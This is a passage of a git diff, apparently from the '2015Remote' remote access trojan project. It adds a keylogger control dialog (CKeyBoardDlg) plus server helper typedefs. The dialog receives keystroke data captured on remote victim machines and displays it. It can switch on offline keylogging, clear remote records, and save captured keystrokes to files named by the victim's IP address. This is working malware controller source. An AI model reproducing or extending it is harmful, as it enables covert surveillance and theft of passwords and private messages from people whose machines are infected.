b/server/2015Remote/IOCPServer.h @@ -18,6 +18,8 @@ #define NC_RECEIVE 0x0004 #define NC_RECEIVE_COMPLETE 0x0005 // +std::string GetRemoteIP(SOCKET sock); + enum IOType { IOInitialize, @@ -121,6 +123,9 @@ public: BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , size_t ulOriginalLength); + VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) { + OnClientPreSending(ContextObject, szBuffer, ulOriginalLength); + } BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength); void UpdateMaxConnection(int maxConn); IOCPServer(void); @@ -186,3 +191,10 @@ public: #endif } }; + +typedef IOCPServer CIOCPServer; + +typedef CONTEXT_OBJECT ClientContext; + +#define m_Socket sClientSocket +#define m_DeCompressionBuffer InDeCompressedBuffer diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp new file mode 100644 index 0000000..939e478 --- /dev/null +++ b/server/2015Remote/KeyBoardDlg.cpp @@ -0,0 +1,215 @@ +// KeyBoardDlg.cpp : implementation file +// + +#include "stdafx.h" +#include +#include "KeyBoardDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +#define IDM_ENABLE_OFFLINE 0x0010 +#define IDM_CLEAR_RECORD 0x0011 +#define IDM_SAVE_RECORD 0x0012 + +///////////////////////////////////////////////////////////////////////////// +// CKeyBoardDlg dialog + + +CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext) + : CDialog(CKeyBoardDlg::IDD, pParent) +{ + //{{AFX_DATA_INIT(CKeyBoardDlg) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT + m_iocpServer = pIOCPServer; + m_pContext = pContext; + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD)); + + sockaddr_in sockAddr; + memset(&sockAddr, 0, sizeof(sockAddr)); + int nSockAddrLen = sizeof(sockAddr); + BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); + m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; + + m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1]; +} + + +void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CKeyBoardDlg) + DDX_Control(pDX, IDC_EDIT, m_edit); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog) + //{{AFX_MSG_MAP(CKeyBoardDlg) + ON_WM_SIZE() + ON_WM_CLOSE() + ON_WM_SYSCOMMAND() + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CKeyBoardDlg message handlers + +void CKeyBoardDlg::PostNcDestroy() +{ + // TODO: Add your specialized code here and/or call the base class + delete this; + CDialog::PostNcDestroy(); +} + +BOOL CKeyBoardDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + // TODO: Add extra initialization here + SetIcon(m_hIcon, TRUE); // Set big icon + SetIcon(m_hIcon, FALSE); // Set small icon + + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != NULL) { + //pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND); + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "߼¼(&O)"); + pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "ռ¼(&C)"); + pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "¼(&S)"); + if (m_bIsOfflineRecord) + pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED); + } + + UpdateTitle(); + + m_edit.SetLimitText(MAXDWORD); // 󳤶 + + // ֪ͨԶ̿ƶ˶ԻѾ + BYTE bToken = COMMAND_NEXT; + m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + + +void CKeyBoardDlg::UpdateTitle() +{ + CString str; + str.Format(_T("%s - ̼¼"), m_IPAddress); + if (m_bIsOfflineRecord) + str += " (߼¼ѿ)"; + else + str += " (߼¼δ)"; + SetWindowText(str); +} + +void CKeyBoardDlg::OnReceiveComplete() +{ + switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { + case TOKEN_KEYBOARD_DATA: + AddKeyBoardData(); + break; + default: + return; + } +} + +void CKeyBoardDlg::AddKeyBoardData() +{ + // 0 + m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1); + int len = m_edit.GetWindowTextLength(); + m_edit.SetSel(len, len); + m_edit.ReplaceSel((TCHAR *)m_pContext->m_DeCompressionBuffer.GetBuffer(1)); +} + +bool CKeyBoardDlg::SaveRecord() +{ + CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt"); + CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "ıĵ(*.txt)|*.txt|", this); + if(dlg.DoModal () != IDOK) + return false; + + CFile file; + if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) { + MessageBox("ļʧ"); + return false; + } + // Write the DIB header and the bits + CString strRecord; + m_edit.GetWindowText(strRecord); + file.Write(strRecord, strRecord.GetLength()); + file.Close(); + + return true; +} + +void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + if (nID == IDM_ENABLE_OFFLINE) { + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != NULL) { + BYTE bToken = COMMAND_KEYBOARD_OFFLINE; + m_iocpServer->Send(m_pContext, &bToken, 1); + m_bIsOfflineRecord = !m_bIsOfflineRecord; + if (m_bIsOfflineRecord) + pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED); + else + pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED); + } + UpdateTitle(); + + } else if (nID == IDM_CLEAR_RECORD) { + BYTE bToken = COMMAND_KEYBOARD_CLEAR; + m_iocpServer->Send(m_pContext, &bToken, 1); + m_edit.SetWindowText(""); + } else if (nID == IDM_SAVE_RECORD) { + SaveRecord(); + } else { + CDialog::OnSysCommand(nID, lParam); + } +} + +void CKeyBoardDlg::ResizeEdit() +{ + RECT rectClient; + RECT rectEdit; + GetClientRect(&rectClient); + rectEdit.left = 0; + rectEdit.top = 0; + rectEdit.right = rectClient.right; + rectEdit.bottom = rectClient.bottom; + m_edit.MoveWindow(&rectEdit); +} +void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy) +{ + CDialog::OnSize(nType, cx, cy); + + // TODO: Add your message handler code here + if (IsWindowVisible()) + ResizeEdit(); +} + + +BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg) +{ + // TODO: Add your specialized code here and/or call the base class + if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)) { + return true; + } + return CDialog::PreTranslateMessage(pMsg); +} + +void CKeyBoardDlg::OnClose() +{ + // TODO: Add your message handler code here and/or call default + closesocket(m_pContext->m_Socket); + + CDialog::OnClose(); +} diff --git a/server/2015Remote/KeyBoardDlg.h b/server/2015Remote/KeyBoardDlg.h new file mode 100644 index 0000000..292468f --- /dev/null +++ b/server/2015Remote/KeyBoardDlg.h @@ -0,0 +1,66 @@ +#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_) +#define AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_ + +#include "Resource.h" +#include "IOCPServer.h" + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// KeyBoardDlg.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CKeyBoardDlg dialog + +class CKeyBoardDlg : public CDialog +{ +// Construction +public: + void OnReceiveComplete(); + CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor + +// Dialog Data + //{{AFX_DATA(CKeyBoardDlg) + enum { IDD = IDD_DLG_KEYBOARD }; + CEdit m_edit; + //}}AFX_DATA + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CKeyBoardDlg) +public: + virtual BOOL PreTranslateMessage(MSG* pMsg); +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + virtual void PostNcDestroy(); + //}}AFX_VIRTUAL + +// Implementation +protected: + ClientContext* m_pContext; + CIOCPServer* m_iocpServer; + HICON m_hIcon; + bool m_bIsOfflineRecord; + + CString m_IPAddress; + void AddKeyBoardData(); + void UpdateTitle(); + void ResizeEdit(); + bool SaveRecord(); + + // Generated message map functions + //{{AFX_MSG(CKeyBoardDlg) + virtual BOOL OnInitDialog(); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg void OnClose(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_) diff --git a/server/2015Remote/res/Bitmap/ToolBar_Main.bmp b/server/2015Remote/res/Bitmap/ToolBar_Main.bmp index bbede6d..e7f07e2 100644 Binary files a/server/2015Remote/res/Bitmap/ToolBar_Main.bmp and b/server/2015Remote/res/Bitmap/ToolBar_Main.bmp differ diff --git a/server/2015Remote/res/Bitmap/toolbar1.bmp b/server/2015Remote/res/Bitmap/toolbar1.bmp index e30c197..66fa9ce 100644 Binary files a/server/2015Remote/res/Bitmap/toolbar1.bmp and b/server/2015Remote/res/Bitmap/toolbar1.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 7697893..8e56c9a 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 050614c..8818206 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -91,6 +91,7 @@ #define WM_USEROFFLINEMSG WM_USER+3010 #define WM_HANDLEMESSAGE WM_USER+3011 +#define WM_OPENKEYBOARDDIALOG WM_USER+3012 enum {